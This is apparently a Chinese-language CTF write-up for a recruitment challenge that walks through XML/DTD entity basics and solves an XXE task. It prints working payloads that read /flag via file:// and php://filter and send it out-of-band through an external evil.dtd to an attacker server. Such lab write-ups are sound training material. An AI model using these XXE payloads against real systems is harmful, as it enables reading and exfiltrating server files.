御林招新题:雪王生擒明珠塔

xxe漏洞利用、第一次用服务器

题干

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
<div class="container">
<header>
<h1><img src="..." alt="雪王Logo" class="logo">雪王生擒明珠塔</h1>
<p class="mission">帮助雪王,向东方明珠塔的护盾发送特殊信号,找到藏在塔内的旗帜/flag。</p>
</header>
<main>
<div class="input-area">
<label for="payloadInput” class="input-label">在此进行你的攻击:</label>
<textarea id="payloadInput" rows="12" placeholder="Enter your payload here..."></textarea>
</div>
<button onclick="submitProposal()" class="attack-button">发起总攻</button>
<div id="response-message” class="response-area">等待指令...</div>
</main>
<footer>
<p>雪王安全实验室 &copy;2025</p>
</footer>
</div>
  • 在输入框中攻击?

尝试

抓包如图:

image-20251015205717030

了解到可能是 xxe 漏洞

XML 的知识

基本结构:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<!--XML声明-->
<?xml version="1.0" encoding="UTF-8"?>

<!--DTD,这部分可选的-->          
<!DOCTYPE foo [ 
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >
]>

<!--文档元素-->                                                           <foo>&xxe;</foo>

DTD

外部(.dtd 文件)和内部 DTD

声明方式如下:

内部实体
1
2
3
4
5
<!DOCTYPE note [
    <!ENTITY a "admin">
]>
<note>&a</note>
<!-- admin -->
参数实体
1
2
3
4
5
<!DOCTYPE note> [
    <!ENTITY % b "<!ENTITY b1 "awsl">">
    %b;
]>
<note>&b1</note>
外部实体
1
2
3
4
<!DOCTYPE note> [
    <!ENTITY c SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">
]>
<note>&c</note>

支持http,file等协议,不同的语言支持的协议不同

外部参数实体
1
2
3
4
5
<!DOCTYPE note> [
    <!ENTITY % d SYSTEM "http://47.106.143.26/xml.dtd">
    %d;
]>
<note>&d1</note>
1
2
<!-- http://47.106.143.26/xml.dtd -->
<!ENTITY d1 SYSTEM "data://text/plain;base64,Y2w0eV9uZWVkX2FfZ3JpbGZyaWVuZA==">

继续题目

尝试直接引入外部实体:

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [ 
<!ENTITY rabbit SYSTEM "file:///flag" >
]>
<user><username>&rabbit;</username></user>

响应:

image-20251015210748834

为什么不行?

尝试引入服务器外部实体、外带:

payload:

1
2
3
4
5
<!DOCTYPE hacker[
    <!ENTITY  % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
    <!ENTITY  % myurl SYSTEM "http://8.137.145.223/evil.dtd">
    %myurl;
]> 

evil.dtd:

1
2
3
<!ENTITY % wrapper "<!ENTITY &#x25; send SYSTEM 'http://8.137.145.223/?x=%file;'>">
%wrapper;
%send;

python3 -m http.server 8000

测试外网可以正常访问,改包重发:

image-20251015212035894

还是不行,为什么?

解决

最后发现问题在于,默认访问的是 80 端口!!!而启动服务器的时候启动了 8000……

服务器:

image-20251016091110199

bp:

image-20251016091143580

终于!!

一些启示

  1. 先搜集信息定方向,然后具体学习相关知识
  2. 总是有一些奇怪的错误,定位到知识上去解决,不要乱试
Licensed under Calendar
最后更新于 Oct 16, 2025 00:00 UTC